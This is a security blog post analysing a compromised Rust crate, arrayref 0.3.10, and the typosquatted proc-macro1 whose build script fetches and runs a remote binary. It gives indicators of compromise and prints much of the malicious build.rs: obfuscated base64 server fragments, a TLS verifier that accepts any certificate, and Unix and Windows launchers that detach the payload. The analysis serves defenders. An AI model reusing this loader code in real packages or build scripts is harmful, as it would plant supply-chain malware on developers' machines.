(https://safedep.io/sitemap-index.xml) (../favicon.ico) (../_astro/favicon.B3RG7V2a.svg) (../_astro/favicon.B3RG7V2a.svg) (../_astro/apple-touch-icon.BdYG7kdO.svg) (../_astro/mona-sans-latin-400-normal.CwTt76Nb.woff2) (../_astro/inter-tight-latin-400-normal.iW8qmuJY.woff2) (../_astro/chivo-mono-latin-400-normal.DZ3T-ph7.woff2) Malicious Rust Crate arrayref Runs a Build-Time Payload - Real-time Open Source Software Supply Chain Security (https://safedep.io/arrayref-proc-macro1-rust-build-time-malware) (../_astro/Layout.k7p5nc5h.css) (Live Wave Icon) (index.html) New Blog: Malicious Rust Crate arrayref Runs a Build-Time Payload • (Edit Calendar Icon) 20 Aug 2026 (https://safedep.io/) (SafeDep Logo) Product Discover & Monitor (https://safedep.io/sca) (SCA & SBOM) SCA & SBOM Scan dependencies, generate SBOMs, enforce policy. (https://safedep.io/shadow-ai) (AI Agent Discovery) AI Agent Discovery See every AI tool and SDK in your org. (https://safedep.io/ai-agent-runtime-security) (AI Agent Monitoring) AI Agent Monitoring Audit every action your AI agents take. Protect (https://safedep.io/developer-security) (Developer Security) Developer Security Block malicious packages at install-time. (https://safedep.io/ci-cd-security) (CI/CD Security) CI/CD Security Block malicious packages in your pipeline. (https://safedep.io/mcp) (MCP Server) MCP Server Block threats inside your AI coding agent. (https://safedep.io/agent) (Agent API) Agent API Threat intelligence API for custom agents. (https://safedep.io/threat-intelligence) (Threat Intelligence) Threat Intelligence Real-time malicious package verdicts. Govern (https://safedep.io/endpoint-protection) (Endpoint Protection) Endpoint Protection Package events & AI inventory in the cloud. (https://safedep.io/platform) (Platform) Platform Centralized policies, dashboard, compliance. Open Source (https://github.com/safedep/vet) (Vet) Vet Scan and govern your dependencies across every PR and build. (https://github.com/safedep/pmg) (PMG) PMG Block malicious packages at install-time, before they enter your codebase. (https://github.com/safedep/xbom) (xbom) xbom Generate AI-enriched BOMs using real code evidence, not just manifests. (https://github.com/safedep/gryph) (GRYPH) GRYPH Monitor every AI coding agent action across your projects and workflows. (https://safedep.io/pricing) Pricing (https://safedep.io/how-safedep-works) How it works (https://safedep.io/blog) Blog Resources (https://docs.safedep.io/) Documentation (https://docs.safedep.io/vet/guides/insights-api-using-typescript) SDK (https://buf.build/safedep/api) API (https://safedep.io/ti) Threat Intelligence Hub (https://app.safedep.io/) Login (https://app.safedep.io) Start for Free (https://github.com/safedep) (GitHub) 1.5k Product (https://safedep.io/pricing) Pricing (https://safedep.io/how-safedep-works) How it works (https://safedep.io/blog) Blog Resources (https://docs.safedep.io/) Documentation (https://docs.safedep.io/vet/guides/insights-api-using-typescript) SDK (https://buf.build/safedep/api) API (https://safedep.io/ti) Threat Intelligence Hub Back Discover & Monitor (https://safedep.io/sca) (SCA & SBOM) SCA & SBOM Scan dependencies, generate SBOMs, enforce policy. (https://safedep.io/shadow-ai) (AI Agent Discovery) AI Agent Discovery See every AI tool and SDK in your org. (https://safedep.io/ai-agent-runtime-security) (AI Agent Monitoring) AI Agent Monitoring Audit every action your AI agents take. Protect (https://safedep.io/developer-security) (Developer Security) Developer Security Block malicious packages at install-time. (https://safedep.io/ci-cd-security) (CI/CD Security) CI/CD Security Block malicious packages in your pipeline. (https://safedep.io/mcp) (MCP Server) MCP Server Block threats inside your AI coding agent. (https://safedep.io/agent) (Agent API) Agent API Threat intelligence API for custom agents. (https://safedep.io/threat-intelligence) (Threat Intelligence) Threat Intelligence Real-time malicious package verdicts. Govern (https://safedep.io/endpoint-protection) (Endpoint Protection) Endpoint Protection Package events & AI inventory in the cloud. (https://safedep.io/platform) (Platform) Platform Centralized policies, dashboard, compliance. Open Source (https://github.com/safedep/vet) (Vet) Vet Scan and govern your dependencies across every PR and build. (https://github.com/safedep/pmg) (PMG) PMG Block malicious packages at install-time, before they enter your codebase. (https://github.com/safedep/xbom) (xbom) xbom Generate AI-enriched BOMs using real code evidence, not just manifests. (https://github.com/safedep/gryph) (GRYPH) GRYPH Monitor every AI coding agent action across your projects and workflows. (https://app.safedep.io/) Login (https://app.safedep.io) Start for Free (https://github.com/safedep) (GitHub) 1.5k (https://safedep.io/blog) Back to Blog (Share on X) (Share on Facebook) (Share on LinkedIn) Malicious Rust Crate arrayref Runs a Build-Time Payload (https://safedep.io/category/malware) Malware (https://safedep.io/category/security) Security SafeDep Team • Aug 20, 2026 • 7 min read On this page 6 sections On this page (index.html#summary) Summary (index.html#packages-involved) Packages involved (index.html#what-the-build-script-does) What the build script does (index.html#how-it-spread) How it spread (index.html#indicators-of-compromise) Indicators of compromise (index.html#part-2-technical-analysis) Part 2: Technical Analysis Summary On August 20, 2026, a compromised release of the popular Rust crate arrayref appeared on crates.io. Version 0.3.10 added a dependency on a typosquatted crate called proc-macro1 , whose build script downloads and runs a remote binary while a project compiles. The code runs at build time, so simply compiling a project that pulled the bad versions is enough to trigger it. The crates.io team has since removed the malicious versions. Packages involved The genuine arrayref and append-only-vec crates are maintained by droundy , whose account appears to have been compromised. The corresponding GitHub repositories are no longer available. github.com/droundy/arrayref , github.com/droundy/append-only-vec , and the entire github.com/droundy account all return 404, so the upstream code is no longer available for inspection. A separate account, dtolney , published proc-macro1 . The username closely resembles David Tolnay’s real dtolnay account. Its metadata forges authors = ["David Tolnay <(https://safedep.io/cdn-cgi/l/email-protection) [email protected] >"] and points repository at a dtolnay/proc-macro1 path that returns 404. Crate Version Publisher Status arrayref 0.3.10 droundy (compromised) Malicious, removed internment 0.8.7 droundy (compromised) Malicious, removed append-only-vec 0.1.9 droundy (compromised) Malicious, removed proc-macro1 all versions dtolney (impersonation) Malicious typosquat, entire crate removed proc-macro-en all versions Malicious dependency crate, removed aovine all versions Malicious dependency crate, removed arone all versions Malicious dependency crate, removed aronenao all versions Malicious dependency crate, removed tinymember all versions Malicious dependency crate, removed Note that proc-macro1 is not proc-macro2 . The real crate that macro authors depend on is (https://crates.io/crates/proc-macro2) proc-macro2 . The src/ of the malicious proc-macro1 is a genuine copy of proc-macro2 , so builds kept working while the build script ran. What the build script does The payload lives in the build script of proc-macro1 1.0.107. It stores its server address as base64 fragments and reassembles them at build time, quoted in the advisory: (../_astro/ec.nb6bh.css) 1 // proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161) 2 const SRC_URL_PARTS : & [ & str ] = 3 & [ "aHR0cHM6Ly8=" , "MjMuMjU0Lg==" , "MTY1Lg==" , "MTEyOg==" , "OTA4OS8=" ]; 4 const END_URL_PARTS : & [ & str ] = 5 & [ "MjMuMjU0Lg==" , "MTY1Lg==" , "MTEyOg==" , "NDQz" ]; (Copy to clipboard) Decoded, those fragments produce the payload host hxxps://23[.]254[.]165[.]112:9089/ and the command and control address 23[.]254[.]165[.]112:443 . The script fetches an architecture-specific binary over a TLS connection that accepts any certificate without validation, then runs it detached from the build. On Unix it drops and runs /tmp/rust-setup . On Windows it writes a PowerShell script and a VBScript launcher under %TEMP% and starts them hidden, then abandons the child process so the compiler does not wait for it. How it spread The owner account yanked the older arrayref releases 0.3.5 through 0.3.9. Yanking a crate makes Cargo print a “consider updating to a version that is not yanked” warning, which nudges developers toward the only non-yanked release, the malicious 0.3.10. The reporter who filed the (https://github.com/rustsec/advisory-db/issues/3161) RustSec advisory noted this is how they hit it. arrayref is widely used as a transitive dependency. It sits deep in common Rust graphs through tiny-skia , sctk-adwaita , and winit , which places it under most GUI work built on egui, eframe, and iced. The crate has about 245 million all-time downloads (244,989,384 at time of writing), with the clean 0.3.9 release accounting for roughly 152 million. Those numbers measure how widely the crate is used rather than a count of affected builds. Indicators of compromise Type Indicator Detail Network 23.254.165.112:9089 Payload host (HTTPS) Network 23.254.165.112:443 C2, passed to the payload as argv[1] File (Unix) /tmp/rust-setup Downloaded executable File (Windows) %TEMP%\rust-setup.ps1 Downloaded PowerShell script File (Windows) %TEMP%\rust-setup-launch.vbs VBScript launcher Second-stage names rust-crate_0.1.0 , _0.2.0 , _0.3.0 , _0.4.0 Chosen by OS and architecture SHA256 of the removed crate artifacts: Artifact SHA256 arrayref 0.3.10 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae proc-macro1 1.0.107 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4 proc-macro1 1.0.106 b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436 Part 2: Technical Analysis Our technical analysis covers the two crates behind this incident, arrayref 0.3.10 and proc-macro1 1.0.107. arrayref 0.3.10 pulls in a dependency called proc-macro1 . The malicious code is in the build script of proc-macro1 , not in arrayref itself. The injection point in arrayref arrayref is a small crate of four macros. Up to 0.3.9 it has no build script and no runtime dependencies. Version 0.3.10 keeps that macro source and adds one line to the manifest: arrayref-0.3.10/Cargo.toml 1 [ package ] 2 name = "arrayref" 3 version = "0.3.10" 4 build = false 5 6 [ dependencies . proc-macro1 ] 7 version = "1.0.107" (Copy to clipboard) This [dependencies.proc-macro1] entry is sufficient to introduce the malicious crate. The requirement 1.0.107 is a caret range, and with only 1.0.106 and 1.0.107 ever published it resolves to the malicious 1.0.107. The crate’s own src/lib.rs is the ordinary macro code, for example the array_ref! macro: arrayref-0.3.10/src/lib.rs 1 #[macro_export] 2 macro_rules! array_ref { 3 ( $ arr : expr, $ offset : expr, $ len : expr) => {{ 4 { 5 #[inline] 6 const unsafe fn as_array < T >(slice : & [ T ]) -> & [ T ; $ len] { 7 &* (slice . as_ptr () as *const [_; $ len]) 8 } 9 let offset = $ offset; 10 let slice = &$ arr[offset .. offset + $ len]; 11 #[allow(unused_unsafe)] 12 unsafe { 13 as_array (slice) 14 } 15 } 16 }}; 17 } (Copy to clipboard) Nothing in the arrayref source references proc-macro1 , and it does not need to. Cargo builds every declared non-optional dependency, whether or not the code uses it. So the manifest entry alone makes Cargo fetch and build proc-macro1 whenever a project pulls in arrayref 0.3.10, and building it runs the malicious build script. proc-macro1 is a renamed copy of proc-macro2 The src/ of proc-macro1 is proc-macro2 with a mechanical find-and-replace of proc-macro2 to proc-macro1 . The rename reaches into documentation links and even copied issue references, for example html_root_url = "https://docs.rs/proc-macro1/1.0.107" in src/lib.rs and a github.com/dtolnay/proc-macro1/issues/235 link in src/fallback.rs . Because the library code is real proc-macro2, the crate works as a drop-in. This makes the malicious crate less noticeable during a normal build. The package metadata forges an identity: proc-macro1-1.0.107/Cargo.toml 1 authors = [ "David Tolnay <(https://safedep.io/cdn-cgi/l/email-protection) [email protected] >" ] 2 repository = "https://github.com/dtolnay/proc-macro1" (Copy to clipboard) The email (https://safedep.io/cdn-cgi/l/email-protection) [email protected] is not David Tolnay’s, and the dtolnay/proc-macro1 repository returns 404. The suspicious difference is in the build dependencies, which real proc-macro2 does not have: proc-macro1-1.0.107/Cargo.toml 1 [ build-dependencies . base64 ] 2 version = "0.22" 3 4 [ build-dependencies . rustls ] 5 version = "0.23" 6 features = [ "ring" , "std" , "tls12" ] 7 default-features = false 8 9 [ build-dependencies . ureq ] 10 version = "2" 11 features = [ "tls" ] 12 default-features = false (Copy to clipboard) Those three crates give the build script base64 decoding, a TLS stack, and an HTTP client. These dependencies are unusual for a token-parsing library, and the malicious build script uses them. The build script payload The build script splits the server address into base64 fragments and rebuilds it at compile time, so the raw string never appears in the source: proc-macro1-1.0.107/build.rs 1 const SRC_URL_PARTS : & [ & str ] = & [ "aHR0cHM6Ly8=" , "MjMuMjU0Lg==" , "MTY1Lg==" , "MTEyOg==" , "OTA4OS8=" ]; 2 const END_URL_PARTS : & [ & str ] = & [ "MjMuMjU0Lg==" , "MTY1Lg==" , "MTEyOg==" , "NDQz" ]; (Copy to clipboard) Decoded, SRC_URL_PARTS is hxxps://23[.]254[.]165[.]112:9089/ and END_URL_PARTS is 23[.]254[.]165[.]112:443 . The download uses a TLS client that accepts any certificate. The AcceptAll verifier returns success from every certificate and signature check in the rustls ServerCertVerifier trait, so a self-signed certificate on the raw IP passes: proc-macro1-1.0.107/build.rs 1 impl ServerCertVerifier for AcceptAll { 2 fn verify_server_cert ( /* ... */ ) -> Result < ServerCertVerified , rustls :: Error > { 3 Ok ( ServerCertVerified :: assertion ()) 4 } 5 // verify_tls12_signature and verify_tls13_signature also return success unconditionally 6 } (Copy to clipboard) The build script picks the binary to fetch by operating system and architecture. It supports four targets and aborts the build on anything else: proc-macro1-1.0.107/build.rs 1 fn link_suffix () -> & ' static str { 2 match ( std :: env :: consts :: OS , std :: env :: consts :: ARCH ) { 3 ( "linux" , "x86_64" ) => "rust-crate_0.1.0" , 4 ( "windows" , "x86_64" ) => "rust-crate_0.2.0" , 5 ( "macos" , "x86_64" ) => "rust-crate_0.3.0" , 6 ( "macos" , "aarch64" ) => "rust-crate_0.4.0" , 7 (_, _) => panic! ( "unsupported platform" ), 8 } 9 } (Copy to clipboard) The download and execution run inside main , before the feature gate and the genuine proc-macro2 configuration logic that follows. There is no feature flag or environment check guarding it, so it runs on every build on a supported platform: 1 // proc-macro1-1.0.107/build.rs (inside main) 2 let url = src_download_url (); 3 let bytes = download_bytes ( & url); 4 5 match std :: env :: consts :: OS { 6 "linux" | "macos" => run_unix_payload (bytes), 7 "windows" => run_windows_payload (bytes), 8 os => panic! ( "unsupported OS: {os}" ), 9 } (Copy to clipboard) On Unix the build script writes the bytes to /tmp/rust-setup , marks the file executable, and spawns it without waiting, passing the command and control address as the first argument. It sends every standard stream to null: proc-macro1-1.0.107/build.rs 1 fn run_unix_payload (bytes : Vec < u8 >) { 2 let path = PathBuf :: from ( "/tmp/rust-setup" ); 3 std :: fs :: write ( & path, & bytes) . expect ( "failed to write payload" ); 4 Command :: new ( "chmod" ) . args ([ "+x" , path_str]) . status () . expect ( "failed to run chmod" ); 5 Command :: new ( & path) 6 . arg ( end_url ()) 7 . stdin ( Stdio :: null ()) 8 . stdout ( Stdio :: null ()) 9 . stderr ( Stdio :: null ()) 10 . spawn () 11 . expect ( "failed to spawn payload" ); 12 } (Copy to clipboard) On Windows the fetched bytes are a PowerShell script. The build script writes them to %TEMP%\rust-setup.ps1 and starts them through a VBScript launcher under wscript.exe , with a comment in the source explaining why: proc-macro1-1.0.107/build.rs 1 // ShellExecute via WScript escapes Cargo's job object; spawned children otherwise 2 // keep the build script (and `cargo build`) waiting until they exit. 3 let vbs = format! ( 4 r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"# , 5 script = script_path . display (), 6 end = end_url (), 7 ); 8 // ... 9 let child = Command :: new ( "wscript.exe" ) 10 . args ([ "//B" , "//Nologo" , launcher_str]) 11 . creation_flags ( CREATE_NO_WINDOW ) 12 . spawn () 13 . expect ( "failed to spawn wscript launcher" ); 14 std :: mem :: forget (child); (Copy to clipboard) The launcher runs hidden and does not wait for the process. The source comment states that routing through WScript is what escapes Cargo’s job object, so PowerShell keeps running after the build finishes. The final std::mem::forget leaks the wscript child handle so its destructor never runs. Together this detaches the payload from Cargo. This allows the payload to continue without blocking the Cargo build. rust cargo oss malware supply-chain security Author (SafeDep Logo) SafeDep Team safedep.io Share (Share on X) (Share on Facebook) (Share on LinkedIn) The Latest from SafeDep blogs Follow for the latest updates and insights on open source security & engineering (https://safedep.io/youtube-ad-fake-tradingview-macos-stealer) (From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer) (https://safedep.io/category/malware) Malware (https://safedep.io/youtube-ad-fake-tradingview-macos-stealer) From YouTube Ad to Root: How a Fake TradingView Installer Delivers a macOS Stealer A YouTube video ad impersonating TradingView delivered a fake .pkg installer. Inside: a self-healing LaunchAgent, an AES-encrypted V8 bytecode payload, and a Node.js MITM proxy trusted by a rogue... SafeDep Team Aug 21, 2026 (https://safedep.io/malicious-baileys-npm-whatsapp-campaign) (Baileys npm forks farm WhatsApp Channel followers) (https://safedep.io/category/malware) Malware (https://safedep.io/malicious-baileys-npm-whatsapp-campaign) Baileys npm forks farm WhatsApp Channel followers A growing npm campaign uses forks of the Baileys WhatsApp library to make developers' own accounts follow attacker channels, inflating follower counts and injecting advertising. (https://www.linkedin.com/in/kunalsin9h/) Kunal Singh Aug 10, 2026 (https://safedep.io/google-dep-confusion-bin-harvesting) (npm Bin Entry Harvesting: A Dependency Confusion Blind Spot) (https://safedep.io/category/malware) Malware (https://safedep.io/category/security) Security (https://safedep.io/google-dep-confusion-bin-harvesting) npm Bin Entry Harvesting: A Dependency Confusion Blind Spot 21 malicious npm packages targeted Google by squatting CLI binary names from scoped packages, not package names. The technique exploits a structural gap that standard dependency confusion defenses do... SafeDep Team Aug 14, 2026 (https://safedep.io/keyv-npm-supply-chain-compromise) (keyv and cacheable npm compromise: 400+ packages) (https://safedep.io/category/malware) Malware (https://safedep.io/keyv-npm-supply-chain-compromise) keyv and cacheable npm compromise: 400+ packages An npm worm published 2,234 poisoned versions across 444 package names. Its install script stole credentials and ran a command when GitHub revoked a token. SafeDep Team Aug 4, 2026 (https://safedep.io/blog) View All Blogs (Background) (SafeDep Logo) Ship Code. Not Malware. Start free with open source tools on your machine. Scale to a unified platform for your organization. (https://github.com/safedep/pmg) (GitHub) Star on GitHub (https://safedep.io/book-a-demo) Book a Demo (https://safedep.io/) (SafeDep Logo) SafeDep (https://safedep.io/terms) Terms · (https://safedep.io/privacy) Privacy Policy · (index.html#cookie-preferences) Cookie Preferences (https://safedep.trust.site/) (SOC 2 Type II Certified) (https://safedep.trust.site/) (ISO 27001:2013 Certified) (https://safedep.trust.site/) (SOC 2 Type II Certified) (https://safedep.trust.site/) (ISO 27001:2013 Certified) (https://safedep.trust.site/) (SOC 2 Type II Certified) (https://safedep.trust.site/) (ISO 27001:2013 Certified) Product (https://safedep.io/#features) Features (https://safedep.io/pricing) Pricing (https://safedep.io/how-safedep-works) How it works Solutions (https://safedep.io/shadow-ai) AI Agent Discovery (https://safedep.io/ai-agent-runtime-security) AI Agent Monitoring (https://safedep.io/agent) Threat Intel for Agents (https://safedep.io/threat-intelligence) Threat Intel for SecOps (https://safedep.io/mcp) MCP Server (https://safedep.io/endpoint-protection) Endpoint Protection (https://safedep.io/ti) Threat Intel Data Hub (https://buf.build/safedep/api) Developer API (https://safedep.io/contact) Partners Support (https://docs.safedep.io) Docs (https://github.com/safedep/vet/discussions) Community Forum (https://safedep.io/faq) FAQ (https://calendly.com/abhisek-safedep/30min) Professional Services (https://status.safedep.io) Status Company (https://safedep.io/about) About (https://safedep.io/blog) Blog (https://safedep.io/contact) Contact (https://safedep-inc.notion.site/Careers-at-SafeDep-11e61d70b23680d7b98dcbdb6c710d55) Careers (https://github.com/safedep/vet) GitHub © 2026 SafeDep, Inc. All rights reserved (https://discord.gg/kAGEj25dCn) Join us on Discord (https://youtube.com/@safedep) (https://www.linkedin.com/company/safedep/) (https://safedep.io/rss.xml) (https://github.com/safedep/vet) We value your privacy SafeDep keeps analytics anonymous and cookie-free until you opt in. Accepting helps us understand product usage and improve your experience. (https://safedep.io/privacy) Privacy Policy Accept all Reject all Preferences Choose what you share. You can change this anytime from the footer. Essential Always on Remembers your cookie choice and keeps the site secure. Cannot be switched off. Analytics PostHog + Google Analytics. Page views, feature usage and CTA clicks to improve the product. Save preferences Back ()